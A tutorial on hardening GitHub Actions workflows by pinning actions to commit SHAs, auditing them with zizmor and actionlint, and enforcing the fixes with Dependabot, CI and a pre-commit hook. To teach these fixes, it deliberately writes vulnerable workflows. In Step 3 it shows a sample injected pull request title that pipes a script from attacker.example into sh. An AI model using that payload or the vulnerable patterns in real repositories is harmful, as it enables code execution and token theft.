CI/CD and automation · Advanced · 28 min
Harden GitHub Actions workflows: pin actions by SHA and audit with zizmor
By Padding · Updated 18 Nov 2026
Ubuntu 26.04 · zizmor 1.33.1 · actionlint 1.7.12 · GitHub Actions
You will audit two workflows with zizmor, fix every finding from unpinned actions to a poisonable release cache, and keep them clean with Dependabot, a CI job and a pre-commit hook.
On this page
In March 2025, someone moved the version tags of tj-actions/changed-files, an action used by more than 23,000 repositories, to point at a malicious commit. For about a day, every workflow that referenced it by a tag such as @v45 downloaded the new code, which dumped secrets from the runner's memory into the build log. On public repositories, those logs were readable by anyone. Workflows that referenced the action by a full commit SHA kept running the old, safe code, because a commit cannot be moved the way a tag can.
Pinning is one fix. Most workflows have a few other weak spots that turn a small mistake into a stolen token: permissions broader than the job needs, pull request titles pasted straight into shell scripts, a checkout that leaves the token on disk, triggers that hand secrets to code from forks, and caches that a release build trusts. zizmor is a static analyser that finds these. It reads workflow files and reports each problem with the line, a severity and a link to its documentation.
In this tutorial you write two workflows that contain all of those problems, audit them with zizmor 1.33.1 and actionlint 1.7.12, and fix each finding. Then you make the fixes stick: Dependabot keeps the pinned SHAs current, a CI job audits every pull request, and a pre-commit hook stops a bad workflow before it is committed.
Nothing here touches GitHub until you copy the result into your own repository. zizmor's checks run offline, so after the first install the hook works the same on a metered mobile connection or with no connection at all.
Step 1 · Install zizmor and actionlint
zizmor is published on PyPI. pipx installs it into its own isolated environment and puts the command on your PATH, so it does not mix with any Python project you have:
sudo apt-get update
sudo apt-get install -y pipx git curl ca-certificates
pipx install zizmor==1.33.1
pipx ensurepathpipx ensurepath adds ~/.local/bin to your PATH in your shell's start-up file. Open a new terminal so it takes effect.
actionlint is a single binary. Download release 1.7.12 for your processor into the same folder:
case "$(uname -m)" in aarch64|arm64) ARCH=arm64 ;; *) ARCH=amd64 ;; esac
mkdir -p ~/.local/bin
curl -fsSL "https://github.com/rhysd/actionlint/releases/download/v1.7.12/actionlint_1.7.12_linux_${ARCH}.tar.gz" \
| tar -xz -C ~/.local/bin actionlintA binary installed this way gets no updates from apt. To upgrade, run the same two lines with the newer version number from the actionlint releases page. On macOS, brew install zizmor actionlint installs both.
Check it worked
zizmor --version
actionlint -versionThe first line prints zizmor 1.33.1. The second command starts with 1.7.12.
Step 2 · Write two workflows that need hardening
You need something realistic to audit. These two files are the kind that collect in a repository over a year: a pull request check that was switched to pull_request_target to "fix" a permissions error, and a release job copied from an older project. Create a throwaway repository for them:
mkdir -p ~/harden-actions-demo/.github/workflows
cd ~/harden-actions-demo
git init -qThe pull request workflow:
cat > .github/workflows/pr-checks.yml <<'YAML'
name: Pull request checks
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions: write-all
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v7
with:
node-version: 24
cache: npm
- name: List changed files
id: changed
uses: tj-actions/changed-files@v47
- name: Say what is being checked
run: |
echo "Checking: ${{ github.event.pull_request.title }}"
echo "Changed: ${{ steps.changed.outputs.all_changed_files }}"
- run: npm ci
- run: npm test
YAMLThe release workflow, which publishes to npm when you push a version tag:
cat > .github/workflows/release.yml <<'YAML'
name: Release
on:
push:
tags: ['v*']
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 24
cache: npm
registry-url: https://registry.npmjs.org
- run: npm ci
- run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
YAMLBoth files are valid YAML and both would run. That is the problem: nothing about them looks broken.
Check it worked
Run actionlint first. It checks syntax and expressions, and it catches one of the security problems too:
actionlint || echo "actionlint exit code: $?"You get one error, reported at pr-checks.yml:27:34 (actionlint points at the run: | line that holds the script), saying "github.event.pull_request.title" is potentially untrusted, and the exit code is 1. actionlint stops there. The rest of what is wrong needs a tool that thinks about who controls each input.
Step 3 · Audit the workflows with zizmor
Run zizmor on the repository. --offline keeps it to the audits that need no GitHub API access, which is all of the ones this tutorial fixes:
zizmor --offline . || echo "zizmor exit code: $?"zizmor prints each finding as a block: a severity and an audit name such as error[template-injection], the file and line, the offending YAML with a caret under it, its confidence, and a link to the audit's documentation. It ends with a summary line something like:
20 findings (7 suppressed, 4 unsafe fixes): 2 informational, 2 low, 1 medium, 8 highand the exit code is 14. zizmor's exit code tells you the worst severity it found: 0 means no findings, and 11 to 14 mean the highest finding was informational, low, medium or high. A CI job fails on any of those.
The suppressed findings belong to stricter personas. The default, regular, keeps false positives low; --pedantic and --persona auditor show more.
Here is what the findings mean, grouped by audit:
- unpinned-uses (five times): every
uses:points at a tag. In 1.33, zizmor's default policy asks for a SHA on every action, including GitHub's own. - dangerous-triggers:
pull_request_targetruns in the context of your repository, with its secrets and a token that can write, even when the pull request comes from a fork. - template-injection (twice):
${{ github.event.pull_request.title }}is pasted into the shell script before it runs. Anyone who opens a pull request chooses that title. The second, low-confidence finding is the list of changed file names, which a contributor also controls. - artipacked (twice):
actions/checkoutwrites the job's token into.git/config, where every later step, and any artifact that includes the folder, can read it. - excessive-permissions: the release job has no
permissions:block, so it gets whatever the repository default is, which on older repositories is read and write to almost everything. - cache-poisoning: a workflow that publishes on a tag push restores the npm cache, which other workflow runs can write to.
- use-trusted-publishing (informational):
npm publishuses a long-lived token where npm could accept a short-lived OIDC identity instead.
One problem is missing from that list. permissions: write-all at the top of pr-checks.yml gives every job in the file write access to everything the token can reach: code, releases, packages, issues and pull requests. Combined with pull_request_target, that is the token a stranger's code runs with. zizmor reports it as a high-severity excessive-permissions finding only at the stricter personas; zizmor --offline --pedantic .github/workflows/pr-checks.yml shows it. The hardened version below replaces it with permissions: {}.
Combine them and the pull request workflow is a full takeover. A stranger forks your repository, opens a pull request titled x"; curl -s https://attacker.example/x | sh; echo ", and their script runs with a token that can push to your main branch. They do not even need the title: the workflow checks out their code at head.sha and runs npm ci, which runs their postinstall script.
Check it worked
Count the findings by audit name:
zizmor --offline --format json . > before.json || true
grep -o '"ident": *"[a-z-]*"' before.json | sort | uniq -c
rm before.jsonYou see seven audit names with their counts, matching the list above: five unpinned-uses, two each of artipacked and template-injection, and one each of the rest.
Step 4 · Look up a full commit SHA for each action
A tag like v7 is a movable label. A full 40-character commit SHA names exactly one tree of files, and it cannot be changed without changing the SHA. GitHub's own security guidance calls it the only way to use an action as an immutable release. Short SHAs are not enough: they can collide, and zizmor flags them.
git ls-remote asks a repository what its tags point at without cloning anything. This loop prints a ready-to-paste reference for each action you are going to use, including the zizmor action for the CI job later:
for ref in actions/checkout@v7.0.1 actions/setup-node@v7.1.0 \
tj-actions/changed-files@v47.0.6 zizmorcore/zizmor-action@v0.9.2; do
repo="${ref%@*}"; tag="${ref#*@}"
sha=$(git ls-remote "https://github.com/${repo}" "refs/tags/${tag}" "refs/tags/${tag}^{}" | tail -n 1 | cut -f 1)
echo "${repo}@${sha} # ${tag}"
doneTwo details matter here:
- Pin the exact release, not the major tag.
v7andv7.0.1point at the same commit today, but the comment is what Dependabot and Renovate read to know which version you are on, so it should name a precise release. - Annotated tags have two lines. An annotated tag is its own object with its own SHA.
ls-remotelists the tag object first and the commit it points at, marked^{}, second. The loop'stail -n 1takes the commit. If you pin the tag object's SHA instead, the workflow fails to resolve the action.
Before you trust a pin, open the release on GitHub and read what changed. Pinning freezes whatever was there at the time; it does not make that code safe. If you are on an organisation or enterprise plan, GitHub can also enforce this: the Actions policy settings can require every action to be pinned to a full SHA, so an unpinned workflow fails to start.
Check it worked
The loop prints four lines:
actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
zizmorcore/zizmor-action@1b4550e929643b8b26a62303c6bd64814271a4f1 # v0.9.2Each SHA is 40 hexadecimal characters. If you run this later, newer releases exist; use their numbers in the loop, and the SHAs you get in place of these.
Step 5 · Harden the pull request workflow
Replace pr-checks.yml with this version. Every change answers one finding:
cat > .github/workflows/pr-checks.yml <<'YAML'
name: Pull request checks
on:
pull_request:
types: [opened, synchronize, reopened]
permissions: {}
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number }}
cancel-in-progress: true
jobs:
test:
name: Test
runs-on: ubuntu-latest
permissions:
contents: read # check out the code
pull-requests: read # list the changed files through the API
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
with:
node-version: 24
cache: npm
- name: List changed files
id: changed
uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
with:
use_rest_api: true
- name: Say what is being checked
env:
PR_TITLE: ${{ github.event.pull_request.title }}
CHANGED_FILES: ${{ steps.changed.outputs.all_changed_files }}
run: |
echo "Checking: ${PR_TITLE}"
echo "Changed: ${CHANGED_FILES}"
- run: npm ci
- run: npm test
YAMLWhat changed, and why:
pull_requestinstead ofpull_request_target. For a pull request from a fork,pull_requestruns with a read-only token and no access to your secrets, which is what a test job needs. Theref: head.shaline is gone too:pull_requestalready checks out the pull request's code, and that is now safe because nothing valuable is in reach. Keeppull_request_targetonly for jobs that never run the contributor's code, such as adding a label, and then never check out the pull request.permissions: {}at the top, grants per job. An empty block takes every permission away from every job. Thetestjob then asks for exactly two read permissions, with a comment saying what each is for. A job you add later starts with nothing until you decide what it needs. /tutorials/manage-secrets-and-permissions-in-github-actions covers the repository setting that makes read-only the default.persist-credentials: false. The checkout no longer leaves a token in.git/config. That has a knock-on effect:changed-filesnormally runsgit diff, which needs those stored credentials to fetch history.use_rest_api: truemakes it ask the GitHub API instead, which is why the job haspull-requests: read. Check each action's README for a note like this when you turn credentials off.- Untrusted values go through
env.${{ }}expressions inrun:are pasted into the script text before the shell sees it. Inenv:they become environment variables, and"${PR_TITLE}"is then just a string, whatever characters it holds. The same applies to branch names, commit messages, issue bodies and outputs from other steps. - Every action pinned to a SHA, with the version as a comment.
concurrencycancels the older run when someone pushes again to the same pull request. It is not a security fix, but zizmor's pedantic persona asks for it, and it saves runner minutes.
The cache is still on here, and that is deliberate: a test job that produces nothing anyone downloads gains speed from a cache and has nothing for an attacker to poison. The release job is different.
Check it worked
zizmor --offline .github/workflows/pr-checks.yml
actionlint .github/workflows/pr-checks.ymlzizmor ends with No findings to report. Good job! and actionlint prints nothing.
Step 6 · Harden the release workflow
A release job is where a compromise does the most damage, because whatever it builds goes to your users. Replace release.yml:
cat > .github/workflows/release.yml <<'YAML'
name: Release
on:
push:
tags: ['v*']
permissions: {}
concurrency:
group: release
cancel-in-progress: false
jobs:
publish:
name: Publish to npm
runs-on: ubuntu-latest
environment: npm
permissions:
contents: read # check out the code
id-token: write # npm trusted publishing (OIDC)
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
with:
node-version: 24
registry-url: https://registry.npmjs.org
package-manager-cache: false
- run: npm --version
- run: npm ci
- run: npm publish
YAMLWhat changed:
- No cache in the release build. GitHub Actions caches are shared across workflow runs in a repository. If any other workflow, or any compromised step in one, writes a poisoned
node_modulescache entry, a release job that restores it publishes the poisoned code. Removingcache: npmis not enough with setup-node 7: it also turns caching on by itself whenpackage.jsonnames npm inpackageManager, sopackage-manager-cache: falseswitches that off. A cleannpm citakes a little longer and installs exactly whatpackage-lock.jsonsays. - Trusted publishing instead of
NPM_TOKEN. Withid-token: write, the job can ask GitHub for a short-lived OIDC token, and npm accepts it in place of a stored token, but only from the repository and workflow file you name in the package's settings on npmjs.com. Nothing long-lived sits in your secrets. npm's documentation says this needs npm 11.5.1 or later; thenpm --versionstep shows what the runner has. /tutorials/publish-an-npm-package-from-github-actions-with-provenance walks through the npm side. environment: npm. Naming an environment lets you add rules in the repository settings, such as only allowing tags to deploy, or requiring a reviewer, and lets npm restrict the trusted publisher to that environment.- Explicit permissions, credentials not persisted, and SHAs, as before.
cancel-in-progress: falsequeues a second release behind the first instead of killing a publish halfway through.
After this change, delete the NPM_TOKEN secret from the repository and revoke the token on npmjs.com, or it stays valid for anyone who copied it.
Check it worked
Audit the whole repository again, at the strictest persona:
zizmor --offline --persona auditor .
actionlintzizmor reports No findings to report. Good job! for both files and exits with 0. actionlint prints nothing.
Step 7 · Keep the pins current with Dependabot or Renovate
A SHA does not move, which also means it does not get security fixes. You need a bot that proposes updates, and you need to read them. Dependabot understands SHA pins with version comments: it opens a pull request that changes the SHA and the comment together.
cat > .github/dependabot.yml <<'YAML'
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
cooldown:
default-days: 7
groups:
actions:
patterns: ["*"]
YAMLcooldown: default-days: 7makes Dependabot wait until a release is a week old before proposing it. Most malicious releases, including thetj-actionsone, are found and pulled within days, so a short wait keeps you off the first wave. zizmor'sdependabot-cooldownaudit flags an update block with less than seven days.groupsbundles all action updates into one weekly pull request, which is easier to review than five.
If you use Renovate instead, the helpers:pinGitHubActionDigests preset pins and updates actions in the same SHA-plus-comment form, and minimumReleaseAge does the job of the cooldown:
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": ["config:recommended", "helpers:pinGitHubActionDigests"],
"minimumReleaseAge": "7 days"
}/tutorials/keep-dependencies-up-to-date-with-renovate covers Renovate in full. Use one bot for actions, not both.
When an update pull request arrives, follow the link to the release notes and the diff between the two SHAs. An action that suddenly downloads a script, reads environment variables it did not touch before, or adds a new dependency deserves a closer look before you merge.
Check it worked
zizmor --offline .github/dependabot.ymlzizmor audits Dependabot files too, and reports no findings. To see what the cooldown protects you from, audit a copy without it. This writes the same file minus the two cooldown lines to a temporary folder, so your real one is untouched:
mkdir -p /tmp/no-cooldown
cat > /tmp/no-cooldown/dependabot.yml <<'YAML'
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
groups:
actions:
patterns: ["*"]
YAML
zizmor --offline /tmp/no-cooldown/dependabot.yml || echo "zizmor exit code: $?"This time zizmor reports a warning[dependabot-cooldown] finding on the package-ecosystem line and exits with 13, the code for a medium finding.
Delete the copy when you have read it:
rm -r /tmp/no-cooldownStep 8 · Run zizmor in CI and as a pre-commit hook
Fixing the files once is not the end. The next person to add a workflow will copy an example from a README with @v4 in it. Two checks catch that: a CI job that audits every pull request, and a hook that audits before a commit leaves your machine.
The CI job uses zizmor's own action, pinned like the rest, and pins the zizmor version it installs:
cat > .github/workflows/zizmor.yml <<'YAML'
name: Workflow security
on:
push:
branches: [main]
pull_request:
permissions: {}
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
zizmor:
name: Audit workflows with zizmor
runs-on: ubuntu-latest
permissions:
contents: read # check out the code
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Run zizmor
uses: zizmorcore/zizmor-action@1b4550e929643b8b26a62303c6bd64814271a4f1 # v0.9.2
with:
version: 1.33.1
advanced-security: false
annotations: true
YAMLannotations: true shows each finding on the pull request's changed lines. If your repository has code scanning, leave advanced-security at its default instead: zizmor uploads its results to the Security tab, and the job then needs security-events: write. In CI the action passes the job's token to zizmor, so it also runs the online audits you skipped locally, such as impostor-commit (a pinned SHA that only exists in a fork), known-vulnerable-actions (an action version with a published advisory) and ref-version-mismatch (a version comment that does not match its SHA).
To make the job a gate, add Audit workflows with zizmor as a required status check in your branch protection or ruleset for main.
For the local hook, install pre-commit with pipx and add zizmor's hook:
pipx install pre-commit==4.7.0
cat > .pre-commit-config.yaml <<'YAML'
repos:
- repo: https://github.com/zizmorcore/zizmor-pre-commit
rev: v1.33.1
hooks:
- id: zizmor
YAML
git add -A
pre-commit install
pre-commit run --all-filesThe first run downloads zizmor into pre-commit's own environment, which takes a minute. After that it runs offline in well under a second. pre-commit install makes it run on every git commit that touches a workflow, a Dependabot file, an action.yml or the pre-commit config itself.
Check it worked
pre-commit run --all-files prints a line like zizmor......Passed. Now prove the hook blocks a bad file. This workflow pastes an issue title into a shell script:
cat > .github/workflows/bad.yml <<'YAML'
name: Comment
on:
issues:
types: [opened]
permissions: {}
jobs:
echo:
name: Echo
runs-on: ubuntu-latest
steps:
- run: |
echo "New issue: ${{ github.event.issue.title }}"
YAML
git add .github/workflows/bad.yml
pre-commit run zizmor --files .github/workflows/bad.yml || echo "hook exit code: $?"The hook prints zizmor......Failed followed by an error[template-injection] finding on line 12 (zizmor itself exited with 14), and the command exits with 1. A git commit with that file staged is refused the same way. Remove it:
git rm -q --cached .github/workflows/bad.yml
rm .github/workflows/bad.ymlStep 9 · Apply it to your repository and clean up
To harden a real repository, copy the pieces across in this order, so each one is checked by the one before it:
- Add
.pre-commit-config.yamland runpre-commit run --all-files. It lists everything to fix. - Fix the findings file by file, starting with any
pull_request_target,workflow_runorissue_commenttrigger that runs code from the pull request, then template injection, then permissions, then pins. - Add
.github/dependabot.yml(or the Renovate preset) andzizmor.yml, and make the zizmor job a required check. - Rotate any secret that was reachable by a
pull_request_targetworkflow. If such a workflow ever ran code from a fork, assume the secret was seen.
zizmor can apply some fixes itself with zizmor --fix, such as adding persist-credentials: false or moving an expression into env. It is marked experimental, so review the diff it leaves before you commit.
When you are done with the practice repository, remove it and the tools. Skip the pipx uninstall and rm lines if you want to keep the tools for your own repositories. pre-commit clean empties pre-commit's whole download cache, so skip it too if you use pre-commit elsewhere.
cd ~
rm -rf ~/harden-actions-demo
pre-commit clean
pipx uninstall pre-commit
pipx uninstall zizmor
rm ~/.local/bin/actionlintCheck it worked
ls ~/harden-actions-demo reports that there is no such file or directory, and command -v zizmor actionlint prints nothing.
Next steps
- Set read-only token defaults for the whole repository and keep secrets away from forks: /tutorials/manage-secrets-and-permissions-in-github-actions.
- Publish to npm with trusted publishing and provenance, the other half of the release workflow: /tutorials/publish-an-npm-package-from-github-actions-with-provenance.
- Let Renovate keep actions and dependencies current with release-age rules: /tutorials/keep-dependencies-up-to-date-with-renovate.
- Make sure no secret ever reaches the repository in the first place: /tutorials/keep-secrets-out-of-git.
Related tutorials
- Run only the CI jobs a change needs with path filters and concurrencyYou will have GitHub Actions workflows that skip tests for documentation-only changes without blocking merges, cancel superseded pull request runs, queue deploys instead of cancelling them, and stop any job that runs too long.
- Run Python tests and linters in GitHub Actions with uvYou will have a GitHub Actions workflow that installs a Python project with uv from its lock file, fails on a stale uv.lock, runs Ruff and pytest with a coverage floor on two Python versions, caches uv's downloads and keeps the coverage report as an artifact.
- Publish an npm package from GitHub Actions with trusted publishing and provenanceYou will have a small npm package that GitHub Actions publishes on each version tag through npm trusted publishing, with no NPM_TOKEN secret and a provenance attestation on every release.
Need this done for you?
Padding does this work for growing companies, from the first diagnosis to a system that keeps working.
Get new tutorials